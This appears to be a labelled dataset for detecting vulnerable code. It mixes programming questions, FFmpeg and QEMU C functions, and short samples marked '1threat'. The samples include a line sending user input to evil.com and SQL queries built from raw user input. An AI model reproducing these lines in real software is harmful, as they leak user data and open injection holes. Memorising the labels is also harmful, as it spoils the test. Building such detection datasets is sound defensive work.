problem
stringlengths
26
131k
labels
class label
2 classes
Remove all numbers which are lower than 15 using preg_replace : <p>I'm trying to remove numbers which are lower than '15' using preg_replace for example: <code>$string = '1 20 5 16 11 15 14';</code> I'm expecting the output after preg_replace to be <code>20 16 15</code> How to do that :)</p>
0debug
Should the data be calculated in DB server or in CGI process? Which way is better? : <p>So I am an green hand, when I am coding, I always think that should the data be calculated (for example , in MYSQL, I need to do calculation in script which including 'group by') in DB server or in the CGI procedure? Which way is mo...
0debug
static uint64_t calc_rice_params(RiceContext *rc, uint32_t udata[FLAC_MAX_BLOCKSIZE], uint64_t sums[32][MAX_PARTITIONS], int pmin, int pmax, const int32_t *data, int n, int pred_order,...
1threat
BATCH - Verification System (READ DESC) : So basically I have this batch program. I want a verification system were you type the code, and it lets you continue. If you type the wrong code it won't let you continue. Anyone got a code I can use for this?
0debug
React-Redux: Should all component states be kept in Redux Store : <p>Say I have a simple toggle:</p> <p> </p> <p>When I click the button, the Color component changes between red and blue</p> <p>I might achieve this result by doing something like this.</p> <p>index.js</p> <pre><code>Button: onClick={()=&gt;{dispatc...
0debug
static void moxiesim_init(MachineState *machine) { MoxieCPU *cpu = NULL; ram_addr_t ram_size = machine->ram_size; const char *cpu_model = machine->cpu_model; const char *kernel_filename = machine->kernel_filename; const char *kernel_cmdline = machine->kernel_cmdline; const char *initrd_fi...
1threat
Dagger 2: Unable to inject singleton in other scope : <p>I have Singleton scoped module that provides some standard singletons: Application, DB services, etc. But for Activity I have separate module that should create Presenter for he Activity and I need to pass Application context to it. However I get following error ...
0debug
Execute VB Module from C# : I've got a module in VB like this Module Module1 Sub Main() /* ..... */ End Sub End Module And I want to execute its `Main` from a project in C#
0debug
Data binding: set property if it isn't null : <p>Cannot understand... How to set some property of view only if variable field isn't null? <br>For example</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;layout xmlns:android="http://schemas.android.com/apk/res/android"&gt; &lt;data&gt; &lt;v...
0debug
how to compare string without case sensitive using c#? : <p>What is the best way to compare two string without case sensitive using c#? Am using the below codes. </p> <pre><code>string b = "b"; int c = string.Compare(a, b); </code></pre>
0debug
how get string from an array that is in arrayjson in android? : Is there anybody know that haw can I get string "num12" from this json array in android with JSONObject and JSONArray? [{ "id": 7378, "status": "publish", "acf": { "dars": [{ "title": "math", "cat": "cat1", "kind": "free", ...
0debug
Symofny - curl return invalid request : I am using cashflows documentation with specified url to try to return test request but dump() returns this error.. > "V|99E5BB5DF59|000|V226|Invalid request\n" or > The controller must return a response (V|99E5BB5DFC6|000|V226|Invalid request given). My code.. ...
0debug
I need to get the text the user puts in the searchView to update the URL query. : So here i need to get the text the user enters into the searchview in order to be able to update the GOOGLE_BOOKS_REQUEST_URL public class BookListingActivity extends AppCompatActivity implements LoaderCallbacks<List<BookListing>> { ...
0debug
Fastest method to find map keys by vector in C++ : I'm looking for the faster method to extract the map values filtered by vector keys. Below the standard code: std::unordered_map<uint32, user> map; std::vector<uint32> find; std::vector<user> results; auto it = map.b...
0debug
document.location = 'http://evil.com?username=' + user_input;
1threat
static inline int64_t get_sector_offset(BlockDriverState *bs, int64_t sector_num, int write) { BDRVVPCState *s = bs->opaque; uint64_t offset = sector_num * 512; uint64_t bitmap_offset, block_offset; uint32_t pagetable_index, pageentry_index; pagetable_index = offset / s->block_size; ...
1threat
static int decode_wdlt(GetByteContext *gb, uint8_t *frame, int width, int height) { const uint8_t *frame_end = frame + width * height; uint8_t *line_ptr; int count, i, v, lines, segments; int y = 0; lines = bytestream2_get_le16(gb); if (lines > height) return AVERROR_INVALIDD...
1threat
How to generate odata v4 c# proxy client for Visual Studio 2017? : <p>Where can i get odata v4 c# proxy generator for Visual Studio 2017? The existing one is for 2015 only. </p>
0debug
Parallax effect whitespace : My parallax effect adds whitespace to the top when scrolling on page. [No scroll,][1] [When scrolling][2] My JavaScript: <script> $(window).scroll(function() { var scrolledY = $(window).scrollTop(); $('.bg').css('background-position', 'left ' + ((scrolledY)) + ...
0debug
static int mov_init(AVFormatContext *s) { MOVMuxContext *mov = s->priv_data; AVDictionaryEntry *global_tcr = av_dict_get(s->metadata, "timecode", NULL, 0); int i, ret; mov->fc = s; mov->mode = MODE_MP4; if (s->oformat) { if (!strcmp("3gp", s->oformat->name)) mov->mode...
1threat
How to send notification according to user's interest? : Many have you have noticed that sometimes we gets notifications according to our needs and Interest. For Example: Suppose you are using any Hotel Booking App, You entered the city and checked some hotels but didn't booked any hotel and closed the App. You will no...
0debug
How do i add different levels & quit option to my guess a number game? : So i'm a freshman in high school trying to figure out python coding, and I need to make a guess a number game. My first level works fine, but I need to make it so it has 3 different levels, and a quit option, I don't understand these while loo...
0debug
How to write a fibonacci codes in objective c? : <p>I want to display fibonacci numbers from a given number. For example the input number is 100, then display all fibonacci sequence of numbers.</p>
0debug
how to find xpath for the given code : How can i find xpath for (1)old password (2) new password (3) confirm password[i want to find xpath for the given postions.][1] [1]: https://i.stack.imgur.com/Quad7.png
0debug
in swift, is a string object immutable once created? : <p>In java, once created, string objects are immutable. Some methods appear to change the string object, but what it actually does is creating a new string object from the original string object along with the modifications. I was just wondering if this is the case...
0debug
db.execute('SELECT * FROM products WHERE product_id = ' + product_input)
1threat
void qdev_init_nofail(DeviceState *dev) { Error *err = NULL; assert(!dev->realized); object_property_set_bool(OBJECT(dev), true, "realized", &err); if (err) { error_reportf_err(err, "Initialization of device %s failed: ", object_get_typename(OBJECT(dev))); ...
1threat
java.sql.SQLException: Before start of result set Java : <p>I'm getting <code>java.sql.SQLException: Before start of result set</code> when I try to use this code:</p> <pre><code>ResultSet user = query("SELECT `id`, `counter` FROM `accounts` WHERE `username`='test'"); int id = user.getInt("id"); int counter = user.get...
0debug
static int dxva2_alloc(AVCodecContext *s) { InputStream *ist = s->opaque; int loglevel = (ist->hwaccel_id == HWACCEL_AUTO) ? AV_LOG_VERBOSE : AV_LOG_ERROR; DXVA2Context *ctx; HANDLE device_handle; HRESULT hr; AVHWDeviceContext *device_ctx; AVDXVA2DeviceContext *device_hwctx; ...
1threat
Permission denied during gcloud app deploy using Google Cloud SDK : <p>It is insanely hard, to deploy an app to Google App Engine, using Google Cloud SDK.</p> <p>I had tried the below 2 commands</p> <pre><code>C:\Users\yccheok\Desktop\jstock-android-appengine&gt;gcloud config set project jstock-android Updated proper...
0debug
static uint32_t m5206_mbar_readw(void *opaque, target_phys_addr_t offset) { m5206_mbar_state *s = (m5206_mbar_state *)opaque; int width; offset &= 0x3ff; if (offset > 0x200) { hw_error("Bad MBAR read offset 0x%x", (int)offset); } width = m5206_mbar_width[offset >> 2]; if (wi...
1threat
Name with gear icon in Chrome network requests table : <p><a href="https://i.stack.imgur.com/b19N0.png" rel="noreferrer"><img src="https://i.stack.imgur.com/b19N0.png" alt="enter image description here"></a></p> <p><a href="https://i.stack.imgur.com/BOZs9.png" rel="noreferrer"><img src="https://i.stack.imgur.com/BOZs9...
0debug
.NET Core app unable to start in IIS due to ErrorCode = '0x80004005 : 80008083 : <p>I have a .NET Core application. It runs locally with VS2017 and Kestrel. It runs locally under IIS. However, on the server it fails to start with a <code>502.5 - Process Failure</code> message.</p> <p>In the event logs I get more detai...
0debug
Which language use to automatize the data extraction from websites to Excel? : <p>I would like to import data from specific websites to one or different Excel file(s).</p> <p>The different websites are the following :</p> <ul> <li><a href="https://www.cmegroup.com/trading/equity-index/us-index/e-mini-dow_quotes_settl...
0debug
How to auto delete wordpress comments older then x days : Everybody I have my site in WordPress and in my site i am using forum for user discussion by using WordPress default comment system. In my forum page users continuously post comments, now i want to automatically delete comments that are older then 15 days. i...
0debug
void prepare_play(void) { AVOutputFormat *ofmt; ofmt = guess_format("audio_device", NULL, NULL); if (!ofmt) { fprintf(stderr, "Could not find audio device\n"); exit(1); } opt_output_file(audio_device); }
1threat
static int grow_refcount_table(BlockDriverState *bs, int min_size) { BDRVQcowState *s = bs->opaque; int new_table_size, new_table_size2, refcount_table_clusters, i, ret; uint64_t *new_table; int64_t table_offset; uint8_t data[12]; int old_table_size; int64_t old_table_offset; ...
1threat
int cpu_x86_handle_mmu_fault(CPUX86State *env, target_ulong addr, int is_write1, int mmu_idx) { uint64_t ptep, pte; target_ulong pde_addr, pte_addr; int error_code, is_dirty, prot, page_size, is_write, is_user; target_phys_addr_t paddr; uint32_t page_offset; ...
1threat
void aio_set_fd_handler(AioContext *ctx, int fd, bool is_external, IOHandler *io_read, IOHandler *io_write, AioPollFn *io_poll, void *opaque) { AioHandler *node; ...
1threat
Sequelize: TimeoutError: ResourceRequest timed out : <p>My Express app running on node 6.11 with Sequelize 4.5.0 will sometimes throw <code>TimeoutError: ResourceRequest timed out</code>, on operations that should not be particularly expensive. We're talking 5 rows of writes, each executed individually.</p> <p>The dat...
0debug
I am stuck witch Java project : i am having trouble in this lines //obj.generateIndexes(failuSarasas, 2); HashMap<String, HashMap<String, Integer>> indTwoList = obj.generateIndexes(failuSarasas, 2); obj.printHashMap(indTwoList); //obj.generateIndexMatrix(indTwoList, failuSarasas); and HashMap<String, HashM...
0debug
Serilog's AddSerilog is not recognized : <p>I'm trying to call <strong>loggerFactory.AddSerilog();</strong> as per <a href="https://github.com/serilog/serilog-docker/blob/master/web-sample/src/Startup.cs" rel="noreferrer">this</a> documentation, but the <strong>AddSerilog</strong> method is not recognized:</p> <p>"Err...
0debug
int xenstore_domain_init1(const char *kernel, const char *ramdisk, const char *cmdline) { char *dom, uuid_string[42], vm[256], path[256]; int i; snprintf(uuid_string, sizeof(uuid_string), UUID_FMT, qemu_uuid[0], qemu_uuid[1], qemu_uuid[2], qemu_uuid[3], ...
1threat
Is it possible to run docker image/DockerFile on AWS Lambda? : <p>I want to deploy a docker image with my given Dockerfile that executes a program on the AWS Lambda cloud. I know it is possible for EC2 but I want to use AWS Lambda. Anyone have references or know if it is possible? </p> <p>I was looking at the AWS Elas...
0debug
static void usb_msd_handle_data(USBDevice *dev, USBPacket *p) { MSDState *s = (MSDState *)dev; uint32_t tag; struct usb_msd_cbw cbw; uint8_t devep = p->ep->nr; switch (p->pid) { case USB_TOKEN_OUT: if (devep != 2) goto fail; switch (s->mode) { c...
1threat
How to change value of input type file in Jquery : <p>I have got this HTML code</p> <pre><code>&lt;img src="../img/1.jpg" class="img"&gt; &lt;img src="../img/2.jpg" class="img"&gt; &lt;img src="../img/3.jpg" class="img"&gt; &lt;img src="../img/4.jpg" class="img"&gt; &lt;input type="file" name="file" id="file" onchange...
0debug
static inline void downmix_dualmono_to_stereo(float *samples) { int i; float tmp; for (i = 0; i < 256; i++) { tmp = samples[i] + samples[i + 256]; samples[i] = samples[i + 256] = tmp; } }
1threat
static int exif_add_metadata(AVCodecContext *avctx, int count, int type, const char *name, const char *sep, GetByteContext *gb, int le, AVDictionary **metadata) { switch(type) { case 0: av_log(avctx, AV_LOG_WAR...
1threat
static gboolean udp_chr_read(GIOChannel *chan, GIOCondition cond, void *opaque) { CharDriverState *chr = opaque; NetCharDriver *s = chr->opaque; gsize bytes_read = 0; GIOStatus status; if (s->max_size == 0) { return TRUE; } status = g_io_channel_read_chars(s->chan, (gchar ...
1threat
Efficient Searching according to starts with : I facing some issue with write logic for below problem. I have two ArrayLists of strings List1: contains huge data(Around 50 lakhs strings) List2: will create on users input and contains some strings/characters(Ex. a,b,c,g,l,pd,sp,mta) ===========================...
0debug
Does implementing the Dispose Pattern make an unmanaged resource managed? : <p>Let's say I have a class that talks to the database (using DataContext) called BusinessDatabase. My understanding is that this class is unmanaged.</p> <p>Then I have a class called Foo that uses BusinessDatabase and it implements the Dispo...
0debug
sidebar broken on wordpress site : Ok I have a site im building and its beautiful. i love the theme. but on my shop page the sidebar is working fine but on the wcfm marketplace store page the sidebar is covering the page. its the mobile view the shop page is here https://melaninmart.com/shop/ the store page is ...
0debug
Why duck typing is allowed for classes in TypeScript : <p>Looks like in TypeScript it's absolutely fine (from the compiler perspective) to have such code:</p> <pre><code>class Vehicle { public run(): void { console.log('Vehicle.run'); } } class Task { public run(): void { console.log('Task.run'); } } functio...
0debug
Android Cardview Multiple activities : I working on Android studio 3.0.1. I working a project on android cardview. I see a video tutorial on android cardview. I write code carefully. But when I run code, it saw some error. [error screenshot on here][1] My **MainActivity.java** code: private void setSingl...
0debug
static int nvenc_get_frame(AVCodecContext *avctx, AVPacket *pkt) { NVENCContext *ctx = avctx->priv_data; NV_ENCODE_API_FUNCTION_LIST *nv = &ctx->nvel.nvenc_funcs; NV_ENC_LOCK_BITSTREAM params = { 0 }; NVENCOutputSurface *out = NULL; int ret; ret = nvenc_dequeue_...
1threat
python linux selenium: chrome not reachable : <p>I'm trying to run selenium on Ubuntu 16.10 Server, but I'm getting WebDriverException : Message : chrome not reachable (Driver info: chromedriver 2.9.248304, platform=Linux 4.8.0-22-generic x86_64)</p> <pre><code>from pyvirtualdisplay import Display from selenium import...
0debug
How to change JSON Array object key name in JavaScript? : I have a JSON Array Object in the following form var data = [{"name":"Lenovo Thinkpad 41A4298","website":"google"}, {"name":"Lenovo Thinkpad 41A2222","website":"google"}, {"name":"Lenovo Thinkpad 41Awww33","website":"yahoo"}]; I want to conve...
0debug
static int curl_open(BlockDriverState *bs, QDict *options, int flags, Error **errp) { BDRVCURLState *s = bs->opaque; CURLState *state = NULL; QemuOpts *opts; Error *local_err = NULL; const char *file; const char *cookie; const char *cookie_secret; double d;...
1threat
static int decompress_i(AVCodecContext *avctx, uint32_t *dst, int linesize) { SCPRContext *s = avctx->priv_data; GetByteContext *gb = &s->gb; int cx = 0, cx1 = 0, k = 0, clr = 0; int run, r, g, b, off, y = 0, x = 0, ret; const int cxshift = s->cxshift; unsigned lx, ly, ptype; reini...
1threat
ArrayList is allowing me to store items to it but not call them using .get(), says it isn't an ArrayList : <p>I am writing a program to simulate a restaurant menu system using the command design pattern. I made the construtor in my Menu class initialize an arraylist.</p> <pre><code>import java.util.ArrayList; public ...
0debug
extract persian data from String in java : i want to extract this pattern from Variable String in java(android studio) that always include this pattern but another texts are Variable and don't have same number : " this internet will expires on 1397/7/16 22:30" i just want extract YYYY/MM/DD pattern every time ...
0debug
static uint8_t *disas_insn(DisasContext *s, uint8_t *pc_start) { int b, prefixes, aflag, dflag; int shift, ot; int modrm, reg, rm, mod, reg_addr, op, opreg, offset_addr, val; unsigned int next_eip; s->pc = pc_start; prefixes = 0; aflag = s->code32; dflag = s->code32; s->o...
1threat
int json_lexer_flush(JSONLexer *lexer) { return lexer->state == IN_START ? 0 : json_lexer_feed_char(lexer, 0); }
1threat
PPC_OP(mulhw) { T0 = ((int64_t)Ts0 * (int64_t)Ts1) >> 32; RETURN(); }
1threat
Combine 2 arrays, updating values : <p>In my reducer I am pulling down results from my API, I would like to combine this array with the persisted data from storage if it exists, the only fields that need to be overwritten in the data are <code>bookMarked</code>, <code>totalScore</code>, and <code>completed</code>. How ...
0debug
Sort Data with Python : <p>I am totally new in Python and I have a snippet of my code below</p> <pre><code>class student: def __init__(stu, code, name, number): stu.code = code stu.name = name stu.number = number student = [ stu("901", "Joh Doe", "123456") stu("902", "Mary Mount", "566...
0debug
Statuscode 406 (Not Acceptable) in ASP.NET Core : <p>REST services should provide content negotiation. This means that clients send an Accept header that contains the desired content type of the response. If the service does not support this media type, it should respond with status code 406 (Not Acceptable).</p> <p>I...
0debug
static int check_refblocks(BlockDriverState *bs, BdrvCheckResult *res, BdrvCheckMode fix, uint16_t **refcount_table, int64_t *nb_clusters) { BDRVQcowState *s = bs->opaque; int64_t i; for(i = 0; i < s->refcount_table_size; i++) { uint64_t...
1threat
about spring boot how to disable web environment correctly : <p>Spring boot non-web application, when start it has below error</p> <pre><code>Caused by: org.springframework.context.ApplicationContextException: Unable to start EmbeddedWebApplicationContext due to missing EmbeddedServletContainerFactory bean. at org.spr...
0debug
Serve different css based on browser width in css : <p>I am unable to find this on Stackoverflow existing queries. Please help if this can be accomplished. I want to capture browser with with mobile-first responsive design approach. Depending upon the browser width, I want to include div's:</p> <p>1) If browser max-wi...
0debug
static int mkv_write_attachments(AVFormatContext *s) { MatroskaMuxContext *mkv = s->priv_data; AVIOContext *dyn_cp, *pb = s->pb; ebml_master attachments; AVLFG c; int i, ret; if (!mkv->have_attachments) return 0; mkv->attachments = av_mallocz(sizeof(*mkv->attachments)); ...
1threat
How do i extract data out from Ienumerable? : I'm coding in C#. I have this code that tells me the difference in my 2 listview data. `var diff = ListViewDatabase.Items.Cast<ListViewItem>().Select(x => x.SubItems[1].Text).Except(LstView.Items.Cast<ListViewItem>().Select(x => x.SubItems[1].Text)); MessageBox.Show(st...
0debug
Embedding an dotx into a VB.NET application : I have a application which accesses .doc file and makes a change in bookmarks but when i install application to user computer the application says file not available. absolutely it is not in user computer i want to embed the file to setup file so that i have not to paste th...
0debug
How do you end a method from code in another method? : <p>How do I end a method with logic in another method? It seems return only works in the method it is in.</p> <pre><code>private void BeAmazing (int number) { HandleNumber(number); Debug.Log("number is 3 or less"); } private void HandleNumber(int number) { ...
0debug
Reqular expression for formula which contains number, alphabets,expressions and brackets : I am trying to write a regular expression for the formula for the following examples. `1. C=A+B => Output {A, +, B} 2. D= C+50 => Output{C, +, 50} 3. E = (A+B)*C -100 => Output{(, A, +, B, ), *, C, -, 100}` Please help...
0debug
NGINX: connect() to unix:/var/run/php7.0-fpm.sock failed (2: No such file or directory) : <p>I'm trying to follow <a href="https://www.digitalocean.com/community/tutorials/how-to-deploy-a-basic-php-application-using-ansible-on-ubuntu-14-04" rel="noreferrer">this Ansible tutorial</a> while adjusting it for Ubuntu 16.04 ...
0debug
static inline void RENAME(yuv2rgb32_1)(SwsContext *c, const uint16_t *buf0, const uint16_t *ubuf0, const uint16_t *ubuf1, const uint16_t *vbuf0, const uint16_t *vbuf1, const uint16_t *abuf0, uint8_t *...
1threat
Please help me. i trying create simple game in cocos2d-x. but when i compile my project i get error like this : Please help me. i trying create simple game in cocos2d-x. but when i compile my project i get error like this BUILD FAILED D:\Android\sdk\tools\ant\build.xml:597: The following error occurred while ex...
0debug
Convert row values as columns in sql server : Table:- CompanyID Lead LeadManager 1 2 3 Required Output:- CompanyID Role RoleID 1 Lead 2 1 Leadmanager 3
0debug
void qmp_guest_suspend_ram(Error **errp) { Error *local_err = NULL; GuestSuspendMode *mode = g_malloc(sizeof(GuestSuspendMode)); *mode = GUEST_SUSPEND_MODE_RAM; check_suspend_mode(*mode, &local_err); acquire_privilege(SE_SHUTDOWN_NAME, &local_err); execute_async(do_suspend, mode, &local...
1threat
Fast Parquet row count in Spark : <p>The Parquet files contain a per-block row count field. Spark seems to read it at some point (<a href="https://github.com/apache/spark/blob/v2.0.2/sql/core/src/main/java/org/apache/spark/sql/execution/datasources/parquet/SpecificParquetRecordReaderBase.java#L151" rel="noreferrer"><co...
0debug
Several special IP connect to server with ssh : <p>I want Several special IP connect to my server with ssh and block any another ip</p> <p>what do you think about solve this question؟</p> <p>i have centos 7</p> <p>firewall is CSF</p> <p>I use cpanel &amp; whm</p>
0debug
Angular 4 - Observable catch error : <p>How can I solve the problem of return with error, use the capture inside the Observable?</p> <p>I want to execute a function inside the catch, to do some validation before the subscribe is executed.</p> <p>Thank you in advance, thank you very much for your attention.</p> <p>Er...
0debug
Images are not showing good in a div : <p>I am making a wordpress website with the theme Zerif Pro. The website is <a href="http://www.solids-solutions.com/zerif/" rel="nofollow">http://www.solids-solutions.com/zerif/</a> Under the header images you have the our foucus sections. In that sections are the images not that...
0debug
def last_Two_Digits(N): if (N >= 10): return fac = 1 for i in range(1,N + 1): fac = (fac * i) % 100 return (fac)
0debug
static void nbd_coroutine_end(NbdClientSession *s, struct nbd_request *request) { int i = HANDLE_TO_INDEX(s, request->handle); s->recv_coroutine[i] = NULL; if (s->in_flight-- == MAX_NBD_REQUESTS) { qemu_co_mutex_unlock(&s->free_sema); } }
1threat
In javascript,Can I store emojis in an array as array's element? : <p>I want to store emojis in an array and print it using console.out(); on the browser's console ?</p>
0debug
I am not able to connect to the server in my MS SQL. I am not sure why? Also i am getting message but i am not able to understand it. : I am not able to connect to the server in my MS SQL. I am not sure why? Also i am getting message but i am not able to understand it. [enter image description here][1] [1]: ...
0debug
How can I create an button effect with javascript and jquery? : <p>I am trying to create a button effect in which will change its color on click and returns to its original colour after the click.</p> <p>I made a conditional within the button effect to returns to its original code but it doesn't work. Here is the code...
0debug
db.execute('SELECT * FROM employees WHERE id = ' + user_input)
1threat
When will following method throw 2 : I am curious to find out under what circumstances following method will return 2 instead of 1. ``` private int splitString(String strToSplit) { int num = strToSplit.split("[\\W_]+").length; if (num == 0) { System.out.println("Value is :: " + 2);...
0debug
MVC for simple app : <p>I have been working on a simple payment calculator, which I have working correctly via a html front end and a php back end. The html passes user inputs as variables to the PHP via AJAX calls and the PHP returns a result to the html page. Now that I have it functioning as expected, I'm trying to ...
0debug
Golang; Testing; redirecting print statements to a file : My program outputs a lot of text. I use VSCode (relatively new) and the display of output is always truncated. Is it possible to output all such fmt.PrintXXX statements to a file? OR How can I capture all of the output from the .Print statements ...
0debug
How to convert moment date to a string and remove the moment object : <p>I have a React Web App and a React Native Mobile App. When I pass a moment date object from my react web app to my backend, it gets converted to a string somehow and it works with my backend.</p> <p>When I do it with my react native mobile app, i...
0debug
Why is '\n' preferred over "\n" for output streams? : <p>In <a href="https://stackoverflow.com/a/8311177/7151494">this</a> answer we can read that:</p> <blockquote> <p>I suppose there's little difference between using <code>'\n'</code> or using <code>"\n"</code>, but the latter is an array of (two) characters, which...
0debug
static void gen_lswi(DisasContext *ctx) { TCGv t0; TCGv_i32 t1, t2; int nb = NB(ctx->opcode); int start = rD(ctx->opcode); int ra = rA(ctx->opcode); int nr; if (nb == 0) nb = 32; nr = nb / 4; if (unlikely(((start + nr) > 32 && start <= ra && (...
1threat
get all the ids which do not have transactions in last 6 months : I have a table with three coloumns ID DATE desc i want to get the ids in a month that have not made transactions in the last 6 months based on the date coloumn. For instance : an id 123 qualifies for month jan 2018 if it is not having any data in th...
0debug
Javascript: await function endend before loop continue : <p>i've a similar situation</p> <pre><code>array.forEach(item =&gt; { function_fetch(item) }) </code></pre> <p>now i need that before that loop continue he await that the function end and do what have to do, then recall the function with the other item</p>
0debug
pandas how to check dtype for all columns in a dataframe? : <p>It seems that dtype only work for pandas.DataFrame.Series, right? Is there a function to display data types of all columns at once?</p>
0debug
replace spatial case double quotes with single quotes in python. : i try several time but failed and weak in regex. I want to replace all double quotes with single quotes but not spatial case. **Input** "35457680047217","1","425121","2018-07-15 00:00:00.000",,,,"10.0","0",,"0",,"0",,,"0","0","0","0",,"[\"23\"...
0debug